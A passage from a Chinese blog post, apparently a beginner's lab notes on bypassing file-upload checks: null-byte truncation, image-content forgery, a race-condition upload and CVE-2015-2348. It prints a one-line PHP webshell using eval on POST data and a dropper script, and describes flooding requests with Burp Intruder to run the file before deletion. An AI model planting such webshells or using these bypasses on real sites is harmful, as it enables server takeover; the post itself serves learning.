zoukankan      html  css  js  c++  java
  • 大哥带我走渗透6(下)---文件上传

    ---恢复内容开始---

    0x01 %00

    • get类型%00截断绕过

    吃了一个半小时午饭的小赵现在正式上线。。我的博客好造孽哦,天天要记录我的龟速学习状态还要听我唠叨我的苦逼生活。anyway,一切的一切都是为了向“钱”。

    1.先收集资料,根据下面的提示得出,这里是白名单。

    •  post类型%00截断绕过

    POST这里需要修改路径,在路径后面需要空格,然后还要修改一下hex(空格处)的值为00,记住,这次就不要在repeater里面改了,直接在proxy里面改就好了

    【图片是复制金总的,我的找不到了】

    OK,成功~

    • get VS. post

    1.get:改URL???反正我是昏掉了,,我是没有改成功===也貌似成功了一次??

    2.post:改路径,将路径拼接到上传的文件路径中,凑成一个有php的路径。

    0x02 图片内容伪造

    cmd的copy命令

    0x03 竞争条件绕过上传

    1.了解概念:

    竞争条件原理介绍
    网站逻辑:

    • 网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
    • 网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。
    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["team"])?>');?> 

     2.思路分析

    那我们可以上传一个脚本,在删除之前访问他,然后脚本内容是执行以后就可以生成副本。删除的是上传的,但是本地生成的不会被删除啊。参考:https://www.jianshu.com/p/09d0eb938e6a

     3.最后的操作是:

    上传我们的sc.php,内容为:

    <?php
    $myfile = fopen("zwj.php", "w");
    $txt = "<?php phpinfo();?>";
    fwrite($myfile, $txt);
    fclose($myfile);
    ?>

    和上面的代码的作用一样,只是内容不一样,显示的是php的版本。我们将$txt的内容改成一句话木马,连接上传的sc.php,一旦sc.php运行,那么将生成zwj.php文件,我们在连菜刀的时候连我们的zwj.php就行了。但是我们要怎么让具有删除功能的服务器,运行我们的sc.php,产生我们的zwj.php呢

    4.通过burp的intruder功能

    • 上传过程中,抓包发到intruder,发送3000个包,选择null无字典,设置100个线程,开始attack;然后一直刷新upload/sc.php 
    • 使用intruder,相同设置,但是有2个attack。一个是原网站,一个是upload/ac.php  千万不要把第二个搞错了。

    0x04 CVE-2015-2348绕过上传

     1.了解原理

    php任意文件上传漏洞

    再看一下大哥的网页提示,提到了一个move_uploaded_file()函数。

    • move_uploaded_file():函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。

     【这个我是真的做不出来】

     0x05 总结

    • 看来暑假真的需要努力了,php和Python。。。要不然真的死无葬生之地了。。。。
    • 写东西利索一点,不要拖拖拉拉。。。
  • 相关阅读:
    经典之计算机内存管理
    Git 远程仓库
    【玩转微信公众平台之十】 图文消息回复解说
    C++11中的继承构造函数
    树莓派使用无线网卡上网相关命令
    swift的UITableView的使用
    相似微信的ChattingUi
    HDOJ 5289 Assignment 单调队列
    poj1936
    samba 文件和目录权限控制
  • 原文地址:https://www.cnblogs.com/TEAM0N/p/11029476.html
Copyright © 2011-2022 走看看